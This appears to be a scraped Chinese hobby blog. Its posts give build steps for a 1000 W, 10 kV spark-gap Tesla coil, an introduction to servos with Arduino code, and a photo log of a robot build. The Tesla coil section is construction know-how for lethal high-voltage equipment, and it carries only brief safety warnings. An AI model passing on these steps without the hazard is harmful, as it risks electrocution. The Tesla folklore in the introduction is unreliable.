之前发过一篇用于产生电弧的马克思发生器, 那个玩意儿跟特斯拉线圈相比,就是小巫见大巫了。 尼古拉·特斯拉是一百多年前的一位发明家,他发明了交流电、无线电,制造过小型的地震,搞过巨型的人造闪电。总之他的传奇故事很多,据说是被奸商爱迪生打压以至于默默无闻,著名的电动汽车特斯拉就是为了纪念这个疯狂的科学家。 有传闻说特斯拉玩的闪电,可见范围达到几百英里,不知道真假。我等凡夫俗子,顶多利用特斯拉原理来产生个小型闪电就好了。 **Step 1: 准备和注意事项** 我们的目标是做一个1000w的中型特斯拉线圈,放电距离超过120cm,特斯拉线圈的放电距离和功率成正比。 主要材料及大概成本: 1:高压变压器 1000W 输入220V 输出 10KV 2:大量无极电容 如用0.047uf 1000v~(1600v-)的cbb电容需要准备100只左右,有大容量的高压电容请自己换算 3:直径13厘米长1米的聚氯乙烯管(壁厚0.6-1厘米),pvc管材也将就,厚0.8厘米的绝缘板材(不能是木头!最好塑料)大约2.5平米,厚0.5厘米的绝缘板材(非木!)大约1.5平米,这些都可在家庭装饰城(就是那些买涂料,板材,工具等的那种大市场里)买到 4:导线,多芯铜导线,1000v50A大约6米;10kv1A导线3米 5:耐压漆包线 内径0.5mm 900米长 6:直径0.8厘米的铜管(壁厚1mm以上)长8米,直径3厘米厚>1mm长1米的铜管可在汽车配件或五金等地买到 7:电手钻,螺丝刀,手锯,钳子等工具,普通螺丝,塑料螺丝,环氧树脂胶,钢尺等 8:用于燃气热水器的排气管(金属制作,可弯曲,直径在10厘米以上)制作后期计算得到长度. **Step 2: 电路原理图** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f53c13cc62_0064cTs2jw1euyu845h2kj30bz0803yj.jpg) 等等,你特么是在逗我吗?我们是在做一个极其高大上的“雷公电母”设备,它的原理图怎么可能这么简单。 所以感慨一下科学的伟大吧,小小一张图就可以让你拥有神一般的力量…… #### **Step 3: 装配示意图** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0edb353229_0064cTs2jw1euyu9ap85yj30cy0rmt9i.jpg) 当然,从原理图到真正的装备,还有很多路要走,这个就是装配的示意图。 #### **Step 4: 一些相关的计算公式** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8f96bc1110_0064cTs2jw1euyu8xc10hj306q08raa0.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e0c373f97c_0064cTs2jw1euyu93yo4lj30630a4dfu.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e0c373f97c_0064cTs2jw1euyu8ipb8wj30cj07nt8p.jpg) 1\. 电弧长度: 电弧长度 L(单位:英寸); 变压器功率 P (单位 瓦特); L=1.7*sqrt(P) 2\. 电容阵容量: 变压器输出电压(交流)E(单位 伏特); 变压器输出电流 I(单位 毫安); 电容器阵列最大容量C(单位 微法) ; 交流频率F(单位赫兹) C=(10^6)/(6.2832*(E/I)*F) [电容的大小涉及到与变压器功率的一个匹配问题,当电容过大时在交流上升到顶点时(即sqrt (2)*V时,电容电压过低无法击穿打火器的空气隙则打火器无法启动就无法工作,整个系统也就无从启动 ] 3\. 电容阵的计算就是电容的简单串,并联,初中就学过,在此就不提了.例如当变压器功率为1000瓦时,输出电压为10000伏(交流),那么电容匹配为0.0318uf,手头有电容规格为:0.047uf 1000~,1600-,再取保险一点到 耐压 1500v~则需要电容阵列安排如下:15个电容串联成一个基本链(BC);再10个这样的基本链并联而成(J),共需要电容150个,若每支电容分压降为630v~(这样可以大幅度延长电容寿命),则: 24–BC,16–J,共需384支电容. 4\. 其他: 震荡频率:F = 1/(2*Pi*sqrt(L*C)) #### **Step 5: 制作主线圈** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a9b707f556_0064cTs2jw1euyu8nzwhgj307r05zweg.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9f0536c91c_0064cTs2jw1euyu8oxiosj306u05d747.jpg) 在特斯拉线圈的设计中主线圈采用铜管绕制成蚊香状。铜管是用于汽车,供热,中央空调中的那种管壁较厚的承压铜管。直径8毫米大约绕制9-10匝,大约需要9米,最好选用光滑无锈无伤的。 #### **Step 6: 主线圈支架** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9f0536c91c_0064cTs2jw1euyu8pujhoj305v047q2u.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/878af95d54_0064cTs2jw1euyu8rhgxvj3072049q2v.jpg) 这样盘成的主线圈可以适用于6英寸到8英寸的次极线圈(盘铜管很费时间,也满费劲,但是不要图快,要尽可能盘的圆滑.),还需要5毫米厚的软塑料板(非脆性塑料)做主线圈支架,将其按等距离打眼(要打成9毫米的眼,要不穿不进去) 底座选用普通中密度板就可以了,这个底座还有用,将来底下要放其它东西.也尽可能加工好,接下来把铜管和塑料支架穿起来。 #### **Step 7: 内圈接头** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2119d962b0_0064cTs2jw1euyu8sit0hj308604yweg.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f10fe96a6_0064cTs2jw1euyu8tyetsj308004st8l.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f10fe96a6_0064cTs2jw1euyu8vfldqj30de06raa9.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a6c645d696_0064cTs2jw1euyu8wpzyuj30az09x74d.jpg) 内圈接头部分,将中密度底版在相应地方开孔引出一个接头。 再找一截铜管做为接地保险,注意,不能让它闭合! #### **Step 8: 电容阵列** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a6c645d696_0064cTs2jw1euyu84sw5zj30bs06uwem.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/85350a8f6d_0064cTs2jw1euyu85ulh0j30dy09dwf7.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/85350a8f6d_0064cTs2jw1euyu86uoapj30bv073t8v.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5d3ae1cb52_0064cTs2jw1euyu89y2r2j309o07dq32.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5d3ae1cb52_0064cTs2jw1euyu8b7z9vj309903tt8o.jpg) 在特斯拉线圈中,有一堆好的电容非常重要,因为所有电弧的能量都是由电容直接提供的。由于高压电容价格昂贵,所以现在普遍的做法是通过对普通无极性电容进行串联和并联来达到所需的耐压和容量。 需要准备的材料: 1.无极性电容,(聚乙烯,聚丙烯,CBB电容 等)一般常见高压电容规格主要有:1600v-0.047uf、1600v-0.068uf两种 2.电阻10兆欧(1000000ohm) 3.有机玻璃板 4.塑料螺丝 首先计算所需要的电容个数和排列方式,根据以前提到的变压器匹配计算得到电容量为0.0318uf/10kv,手头电容规格为1600v- 0.047uf, (此处注意:电容的耐压标示都是直流 ,而且电容器交流耐压与电容材质等多种因素有关,不能简单认为只要将直流耐压值除以1.414 就得到交流耐压值),从寿命和安全性角度出发,建议将每电容分压值定为450v~ 则得到整个电容阵构成为:22串一链,共14链并联,一共308支电容电阻,电阻的用途是为了当停止使用时对电容中的残留电荷进行放电,使用方法就是每支电容都要并联一支10兆的电阻(1/4~1/2W ) 安全提示:若没有放电电阻,则电容阵中储备的能量将可能存在很久而对人身造成伤害! 图中显示了一个电容链,它是蛇行排布的。注意!电容之间不要紧密接触!要留有一定空隙,层与层之间要用4mm厚的有机玻璃隔离,每层包含两个链,固定使用塑料螺丝(尼龙螺丝), 每层都有各自的接口使之成为独立可使用的单元。 **Step 9: 次极线圈的制作** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/09d1b804f4_0064cTs2jw1euyu8ydpuuj306v07v74b.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0bd96de360_0064cTs2jw1euyu8zdzmxj305g05wwed.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0bd96de360_0064cTs2jw1euyu908krqj308706jglo.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f52cc1ccc5_0064cTs2jw1euyu913e0tj305r04ajra.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/54fff1868f_0064cTs2jw1euyu9259pzj306s05xa9x.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/54fff1868f_0064cTs2jw1euyu9356k2j307b05mjra.jpg) 特斯拉线圈中的次极线圈是整个特斯拉线圈中制作最耗时耗神的部分。需要如下材料: 1\. 高质量漆包线,一定要买好的,尤其是目前我国的漆包线质量普遍低下,线的直径0.51mm ~ 0.57mm。 2\. 聚氯乙烯管材,直径15厘米,最少2米,厚度自己感觉结实就好,一般能买到的大约在4-8mm厚。 3\. 用木头制作一个绕线架(有绕线设备的土豪请无视)。用两个圆片穿在圆筒两边,再在圆片中间打眼,穿入中心轴,架到线架子里面就可以绕线了。一圈一圈的绕,大约绕900~1000匝就适合本系统了,整个绕线过程大约7-8小时。 中间休息时一定要把已绕好的部分固定好,免得前功尽弃。绕线时要注意不要使线打结,不要用两根线接起来使用。市面上够长度的漆包线不大好找,大约在500m,但是整卷的线似乎比较贵。有兴趣的朋友可以一起买一大卷分着用。 #### **Step 10: 打火器** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9e42826f77_0064cTs2jw1euyu8jj579j30d008kglx.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/be2eee7d3f_0064cTs2jw1euyu8k6apuj30ai07a74a.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/be2eee7d3f_0064cTs2jw1euyu8lhb04j30co08ljrl.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cbb52057dd_0064cTs2jw1euyu8n5i5yj308z094dfv.jpg) 制作打火需要以下材料: 1.200mm直径pvc管材,长400mm 2.90mm长,直径20mm铜管若干 3.双头螺丝 若干(是铜管数目)两倍 打火器其实相当于一个开关器,未打火时能量由变压器传递到电容阵,当电容阵充电完毕时两极电压达到击穿打火中的缝隙的电压时,打火器打火,此时电容阵与主线圈形成回路,完成L/C振荡进而将能量传递到次极线圈。制作步骤: 1.先将铜管打眼。 2.再在pvc管上打眼后,将铜管固定在pvc管内部 (每个铜管与铜管之间的缝隙大约控制在1mm) 3.组装好 为了根据需要调整放电缝隙,每相邻螺栓代表1mm的放电缝隙(螺栓即为接线柱)这样安装只要变换接线柱就可以很方便的根据你的设计电压进行调整了。 注意:打火器工作时将会产生很大的热量,而且往往集中在很小的面积上,所以散热设备必须很强大!一般采用小型立式风机(就那种吹婚礼拱门的),一般都在几百瓦,风量足。 只要注意在进风口加上简单的空气过滤装置防止大灰尘就可以了。 如果不加风机散热的话,特斯拉线圈工作几十秒后就可能导致打火器高温变形,加入风机后,一般可以把整个特斯拉线圈的工作时间延长至十几分钟。 另外,要经常在使用后对打火进行清理,去掉电渣和灰尘。 #### **Step 11: 放电终端** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cbb52057dd_0064cTs2jw1euyu8c9d47j306r053747.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93e63bc7c0_0064cTs2jw1euyu8dnzoyj308c06ft8o.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/630b1d0fea_0064cTs2jw1euyu8epc4tj308w081q2y.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/630b1d0fea_0064cTs2jw1euyu8fpnfnj3084060q2y.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76ddda8020_0064cTs2jw1euyu8gw8foj305d04da9y.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55d42ce0db_0064cTs2jw1euyu8hk0wqj30a707fq31.jpg) 在这部分的制作比较简单和随意,我这里介绍一种比较成熟和简易的制作方法,也就是最常见的圈型放电终端。 主要材料: 1\. 4寸直径的燃气热水器通风管,(就是那种全金属的可弯管,家里有燃气热水器的一看便知) 2\. 7寸直径的平底金属盘(用来做派的),其他类似金属物也可,关键1.平底 2.金属 3\. 包裹金币巧克力的那种较厚的铝箔 首先将平底金属盘底对底用螺丝固定,接着将铝管盘成圈状,使其正好能卡在平底金属盘制作的骨架上,铝管的接口口处用铝箔封口,接线点定位在平底金属盘骨架中心,组装好成品。 至此特斯拉线圈的所有重要部分已经完成。 **Step 12: 一些补充说明** 关于特斯拉线圈的制作其实还有不少需要注意的事情,其中: 1:次极线圈的骨架既那个聚乙烯圆桶的饶线部分是有要求的,一般来说,饶线直径和饶线部分桶长比例在1:4左右 2:主线圈的底版可以用一些稍微便宜的材料制作,因为对它的要求不高,当然最好所有的塑料板材都能用雅克力板制作,这样有结实又漂亮 3:打火器的制作其实有很多方法,关键要注意的是a.放电部件要导热快 b.放电部件厚度要足够 c由于打火器更换频率最高,所以设计要以容易更换,价格便宜为主 4:关于高压电容,前些天见到微波炉内部有一种高压电容规格为 2100AC 1uF 且内部集成放电电阻的电容,看来如果使用这种电容也是一个不错的方案 5:关于主变压器,一般难以购买,可以去当地电子市场询问是否可以定做,如果没有,可以购买霓虹灯电源,规格为 15000V AC 50HZ 60mA 样子象个箱子,在国外特斯拉线圈爱好者中使用比较多,还有就是采购日本二手110VACin –6300vACout 变压器两个串联使用 **Step 13: 亮瞎双眼的时候到了** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/509ee25e8a_0064cTs2jw1euyu95eqfrj30go0d5gme.jpg) 世界各地有大量的特斯拉线圈爱好者,搞出很多炫酷的作品。 有的朋友可能又要说“然并卵”了,事实上,很多科技的突破,都是从一些莫名其妙的的发明演化而来。在自然界中,闪电拥有巨大的能量,据说地球每秒钟平均有45次闪电,如果能够抓住这些能量用来发电,那你就发财啦…… 视频: [亮瞎眼的特斯拉线圈](http://www.geekfan.net/13985/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## DIY修炼:舵机知识扫盲 Date: 2015-08-10 URL: https://blog.wo.ai/archives/1029 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4241f6a78b_0064cTs2jw1euxhgs14lcj30gg0ccq41.jpg) DIYer: Tod E. Kurt GEEK指数: ★★★☆☆ **1 简介** 舵机控制的机器人 ● 我猜你肯定在机器人和电动玩具中见到过这个小东西,至少也听到过它转起来时那与众不同的“吱吱吱”的叫声。对,它就是遥控舵机,常用在机器人技术、电影效果制作和木偶控制当中,不过让人大跌眼镜的是,它竟是为控制玩具汽车和飞机才设计的。 ● 舵机的旋转不像普通电机那样只是古板的转圈圈,它可以根据你的指令旋转到0至180度之间的任意角度然后精准的停下来。如果你想让某个东西按你的想法运动,舵机可是个不错的选择,它控制方便、最易实现,而且种类繁多,总能有一款适合你呦。 ● 用不着太复杂的改动,舵机就可摇身一变成为一个高性能的、数字控制的、并且可调速的齿轮电机。在这篇文章中,我会介绍舵机使用的的一些基础知识以及怎样制作一个连续运转舵机。 **2 舵机的结构和原理** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4241f6a78b_0064cTs2jw1euxhh0b265j30cc0ggab3.jpg) A.标准舵机图解 ● 遥控舵机(或简称舵机)是个糅合了多项技术的科技结晶体,它由直流电机、减速齿轮组、传感器和控制电路组成,是一套自动控制装置,神马叫自动控制呢?所谓自动控制就是用一个闭环反馈控制回路不断校正输出的偏差,使系统的输出保持恒定。我们在生活中常见的恒温加热系统就是自动控制装置的一个范例,其利用温度传感器检测温度,将温度作为反馈量,利用加热元件提输出,当温度低于设定值时,加热器启动,温度达到设定值时,加热器关闭,这样不就使温度始终保持恒定了吗。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/27d00301b1_0064cTs2jw1euxhgiupewj30gg0ep75a.jpg) B.闭环反馈控制 ● 对于舵机而言呢,位置检测器是它的输入传感器,舵机转动的位置一变,位置检测器的电阻值就会跟着变。通过控制电路读取该电阻值的大小,就能根据阻值适当调整电机的速度和方向,使电机向指定角度旋转。图A显示的是一个标准舵机的部件分解图。图B显示的是舵机闭环反馈控制的工作过程。 **3 选择舵机** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae6dd19f25_0064cTs2jw1euxhgxy2ccj308c069t90.jpg) C.大扭力/微型/标准舵机 ● 舵机的形状和大小多到让人眼花缭乱,但大致可以如图C所示分类。最右边身材不错的是常见的标准舵机,中间两个小不点是体积最小的微型舵机,左边的魁梧的那个是体积最大的大扭力舵机。它们都是同样的三线控制,因此你可以根据需求换个大个的或小个的。 ● 除了大小和重量,舵机还有两个主要的性能指标:扭力和转速,这两个指标由齿轮组和电机所决定。扭力,通俗讲就是舵机有多大的劲儿。在5V的电压下,标准舵机的扭力是5.5千克/厘米(75盎司/英寸),转速很容易理解,就是指从一个位置转到另一个位置要多长时间。在5V电压下,舵机标准转度是0.2秒移动60度。总之,和我们人一样,舵机的个子越大,转的就越慢但也越有劲儿。 ● 赶快想好你要做的东西,让我们开始动手吧。确定做什么之后,选择哪种大小的舵机(标准型、微型、绞盘型)就是小case了,你可以绅士般的从中选个最便宜的。在这个项目中,我选的就是微型系列的HexTronik公司生产的HXT500型舵机,额定数值是扭力0.8千克,转速0.10秒,只花不到4美元就搞定了。 **4 舵机的支架和连接装置** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae6dd19f25_0064cTs2jw1euxhgc9q3dj308c068aa9.jpg) D.多种舵盘 ● 想在你的项目中用上舵机,就要满足两个条件:一是需要个能把舵机固定到基座上的支架,二是得有个能将驱动轴和物体连在一起的连接装置。支架一般舵机上就有,而且带有拧螺丝用的安装孔。如果你仅仅是测试的话,用点儿热熔胶或者双面泡沫胶带就能轻松的固定住舵机。 ● 怎样连接驱动轴呢,你会发现舵机都附带了一些有孔的小东西,这就是舵盘,它可以套在驱动轴,臂上打上了些小孔。你只要用连接棒或者线把物体连到孔上,就可以将舵机的旋转运动变成物体的直线运动了,当然了,选用不同的舵盘或固定孔就能产生不同的运动啦。 ● 图示的是几种不同的舵盘。前面4个白色的是舵机附带的舵盘,右边四个是用激光切割机切割塑料得到的DIY舵盘。最右边的2个是舵盘和支架的组合,如果你想实现两个舵机的组合运动,把这个舵盘的支架固定到另一个舵机的支架上就OK了。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae6dd19f25_0064cTs2jw1euxhgpgzhtj30gg0c7wfj.jpg) E.普通舵盘设计 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/569cef013b_0064cTs2jw1euxhh1p8ysj30gg0b1q41.jpg) F.其他舵盘 ● 制作普通舵盘对于童鞋们来说是比较容易的,先用矢量作图软件画一个多边形,这个多边形的半径和顶点数都要和舵机驱动轴匹配,这样它就能连接到驱动轴上了,其他种类的也是这样画出来的。 **5 如何控制舵机** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/569cef013b_0064cTs2jw1euxhgd6h2ej308c02wt8p.jpg) G.3线接口 ● 像图所示那样,舵机有一个三线的接口。黑色(或棕色)的线是接地线,红线接+5V电压,黄线(或是白色或橙色)接控制信号端。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/569cef013b_0064cTs2jw1euxhgmfqkvj308c0313z8.jpg) H.控制信号 ● 控制信号(如图H)是一种脉宽调制(PWM)信号,凡是微控制器能轻松的产生这种信号。在此文中,我用的是常用的Arduino开发环境下的微控制器。 ● 脉冲的高电平持续1到2毫秒(ms),也就是1000到2000微秒(µs)。在1000µs时,舵机左满舵。在2000µs时,右满舵。不过你可以通过调整脉宽来实现更大或者更小范围内的运动。 ● 控制脉冲的低电平持续20毫秒。每经过20毫秒(50次每秒),就要再次跳变为高电平,否则舵机就可能罢工,难以保持稳定。不过你要是想让它一瘸一拐的跳舞,倒可以采取这种方法。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/450e739b21_0064cTs2jw1euxhgn6q7zj30fy09p0t2.jpg) 这是一个完整的Arduino设计程序,在这个程序下,舵机始终在正中间位置,控制起来很容易 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6341e191ab_0064cTs2jw1euxhgu8hkaj30gg0ccq3y.jpg) I.舵机连接Arduino实验板 ● 红色和黑色的线分别接到Arduino开发板的5V电源脚和接地脚上。控制线接到Arduino开发板的数字输入/输出脚9脚上。 ● 用Arduino控制舵机也有不太给力的地方,就是Arduino程序把绝大部分时间都浪费在等待延迟命令上,不过童鞋们暂时不要失望,Arduino中内置有舵机函数,你可以用它内置的计数器来同时控制两个舵机(分别在9脚和10脚),是不是又豁然开朗了,这样我们不就能把节省下的编程代码干别的事情了吗。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d50e101c4d_0064cTs2jw1euxhgl2tbej30fy09cjrn.jpg) 这是一个调用了舵机函数的程序 **6 舵机应用:云台网络摄像头** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e9e39cb353_0064cTs2jw1euxhgk4xcjj306808c74l.jpg) J.舵机控制的云台网络摄像头 ● 看了这么多内容了,是不是有点迫不及待练练手的冲动,那就先来个简单的,材料就是下面这些,两个舵机、一个Arduino板、一个用来装摄像头的可转动基座。先用热胶把第一个舵机的舵盘固定到摄像头的底部,然后把第二个舵机固定到基座上,同时把它的舵盘固定到第一个舵机的一侧,最后把舵盘套到各自舵机上,哇塞,一个云台网络摄像头就这样诞生了。 ● 图中是一个纯手工打造的云台网络摄像机,它用的是OpenWrt Linux系统的华硕wi-fi路由器。 ● 网络摄像头和Arduino控制板都是用USB集线器连接到路由器上的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/019fd4823b_0064cTs2jw1euxhghfljyj30g10gat9r.jpg) 通过Arduino的USB口同时控制两个舵机的程序 ● 大致的流程是这样滴,当串口上有两个字节到来时,程序开始工作,赋给第一个字节0-180的值,让它调节摇摆舵机(调左右),同样赋给第二个字节0-180的值,让它调节倾斜舵机(调上下)。 **7 如何DIY连续旋转的舵机** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f244a4b242_0064cTs2jw1euxhgog2ppj308c068ab3.jpg) K.舵机的内部“解剖”结构 ● 任何舵机都能变成一个双向、可调速的降速齿轮电机。通常情况下,需要驱动芯片和其他一些零件才能控制电机的转速和方向,这些部件舵机中都会附带,所以要想得到一个用到机器人上的数控连续旋转舵机,最简单也最便宜的的方法就是自己动手改造一个,哈哈,考验动手能力的时候又来了。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a1fa1ee7e1_0064cTs2jw1euxhgz7mygj308c069q3c.jpg) L.拿掉金属挡板 ● 需要改动的是部分的电路模块和机械模块,电路模块中,我们要找两个阻值相同的电阻来充当电位计,机械模块中,则要去掉防止电机过速的挡板。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a1fa1ee7e1_0064cTs2jw1euxhgw3t74j308c069mxt.jpg) M.卸下塑料挡板 ● 下面我们就开始吧,首先,卸开舵机外壳,HTX500舵机的外壳由3个塑料部分扣在一起。你可以用个小一字改锥或是类似的片状工具把他撬开,然后从轴上取下齿轮组,(记得标记好各个小齿轮的位置哦),再从下面小心的取出舵机的电路板。 ● 舵机上有两个机械制动挡板,用尖嘴钳卸下驱动轴基座上的金属挡板(图L),用斜嘴钳卸下外壳顶部的塑料挡板(图M)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e961729a8d_0064cTs2jw1euxhgqn9s2j308c069jrp.jpg) N.焊上电阻 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e961729a8d_0064cTs2jw1euxhh3b9wxj308c0680t4.jpg) O.缠上胶带 ● 用两个阻值相加约5 kΩ的电阻来替代5 kΩ的电位计,实际制作中,选一对2.2kΩ的电阻就能满足要求了。把电位计上的3根线焊下来,像图N那样焊到电阻上。再把这个重新组装成的家伙用绝缘胶带或是绝缘管缠好(图O),最后再和电路板一起重新塞进舵机外壳中,扣好外壳,一个改造好的舵机就呈现在我们面前了。 ● 手工制作阶段到此就结束了,但是现在还能高兴的太早,因为只有找到基准点才能算是大功告成。在理想条件下,如果两个电阻完全相同,舵机就能精确的停到90度的位置上。不过呢,理想和现实总是会差那么一点点,因此舵机就没像理想中那样么精确。为了使舵机控制更精确,我们要找到一个基准点,方法是把上面编的程序灌进电路中,通过实验来看舵机究竟停在哪个角度,这个角度每个舵机都不相同,所以得出结果后要记录下来。 ● 我们业余爱好者常用的舵机一般是用电位计来检测驱动轴转动到的角度,而用在工业机器人、电脑数控机床等大型系统中的舵机一般则要用旋转编码器来确定位置。光学旋转编码器的原理是这样的,把一个带有窄缝的圆盘固定在转轴上,然后用一个LED灯和一个光敏元件来记录光通过窄缝照到光敏器件上的次数来计算当前旋转到的位置。其实生活中这种技术也很常见,我们每天都要用的光电鼠标就是用的这个原理制作成的。 注:如果你不想撬开你心爱的舵机,Parallax公司(BASIC Stamp微处理器的制造商)有一款即用型,标准尺寸的连续转动舵机可供你使用。 **8 连续旋转舵机的应用:5分钟的绘图机器人** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a3e9dee0a7_0064cTs2jw1euxhgbeof4j308c069q37.jpg) P.安装好的绘图机器人* ● 想做个会画画的的机器人吗,那就去找两个连续旋转舵机来吧,我们这就开始。图O这个绘图机器人中包含了舵机两个, 9V电池,面包板, Arduino电路板,三福记号笔各一个,外加一对塑料轮子。 ● 它的电路和云台摄像头一样,我们直接拿来用,而且它的部件都可以用热胶粘到一起。关于轮子的选择,更是简单,只要是直径在1到3英寸的圆东西都能用,比如塑料瓶盖之类的。为了减小摩擦,增大牵引力,我们在车轮上缠上塑料胶带。 ● 这样组装阶段就完成了。接下来就是程序了,它的程序用一个包含基准点的变量来制动舵机,这个基准点我们上面已经通过实验测出(你的基准点可能不同)。程序的控制流程为,先让一个舵机朝一个方向运动一段时间,然后换成另一个舵机转动,这样就能得到一个螺线形的图画了。 ● 代码在此: #include Servo servoL; Servo servoR; int servoLZero = 83; // experimentally found to stop L motor int servoRZero = 91; // experimentally found to stop R motor boolean turnleft = false; void setup() { servoL.attach(9); servoR.attach(10); servoL.write(servoLZero); // start out not moving servoR.write(servoRZero); // start out not moving } void loop() { turnleft = !turnleft; if( turnleft ) { servoL.write( servoLZero – 10 ); servoR.write( servoRZero ); delay(1000); } else { servoL.write( servoLZero ); servoR.write( servoRZero + 10 ); delay(4000); // turn more one way than the other } } ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a3e9dee0a7_0064cTs2jw1euxhgt4bqyj30gg0cbjsg.jpg) Q.运动中的绘图机器人 ● 注意:永久记号笔画的痕迹不好清除,童鞋们千万小心哈,最好让绘图机器人在硬纸板或其他不透水的纸的画画,或者索性换成支水溶性的记号笔。 [DIY修炼:舵机知识扫盲](http://www.geekfan.net/13978/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 【神级DIY】自制无线控制“甲壳虫”机器人 Date: 2015-08-09 URL: https://blog.wo.ai/archives/1028 Categories: Uncategorized 【导读】拥有一个自己会跑会跳的机器人是许多人小时候的一个梦想,如今这个梦想你可以实现了!此次电子元件技术网带来大师级别的DIY,自己动手就能做的机器人,做一个送给家里的小朋友绝对自信心爆棚啊! 话不多说,直接上图。 **Solidworks 出图纸和模拟图** 机器人身体 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc5b38ea58_0064cTs2jw1euw6ishfngj30dw0ev3yn.jpg) 机器人头部 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc5b38ea58_0064cTs2jw1euw6it6a08j30dw0a3q2x.jpg) 机器人漂亮的大腿 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/364fabcf63_0064cTs2jw1euw6itytaaj30dw0anwel.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f83b21819f_0064cTs2jw1euw6iuoqjrj30dw09j74i.jpg) **甲壳虫机器人3D模拟图** camworks 出刀路 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f83b21819f_0064cTs2jw1euw6ivrulpj30dw0d9dg6.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/117ac4fd87_0064cTs2jw1euw6iwldptj30dw09g3yx.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/117ac4fd87_0064cTs2jw1euw6ixkln7j30dw09qwex.jpg) 甲壳虫”机器人3D 模拟图 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd9d2d049c_0064cTs2jw1euw6iyg2n4j30dw0c7wep.jpg) **加工及组装** 在自己DIY的数控铣床上进行加工,用的6061 的进口铝板, 3mm厚度 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd9d2d049c_0064cTs2jw1euw6izdqfgj30b40dwmxs.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd9d2d049c_0064cTs2jw1euw6j0474wj30b405r3ym.jpg) 购买的经典型号舵机MG995,开始组装。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd9d2d049c_0064cTs2jw1euw6j0wfspj30b407f74k.jpg) “甲壳虫”机器人造型很漂亮吧! ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12388211d2_0064cTs2jw1euw6j1njclj30b407ft8y.jpg) 舵机板和布线已经完成 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12388211d2_0064cTs2jw1euw6j2r9o1j30dw09oaau.jpg) **机器人安装完成** 功率强劲的8000mah动力电池 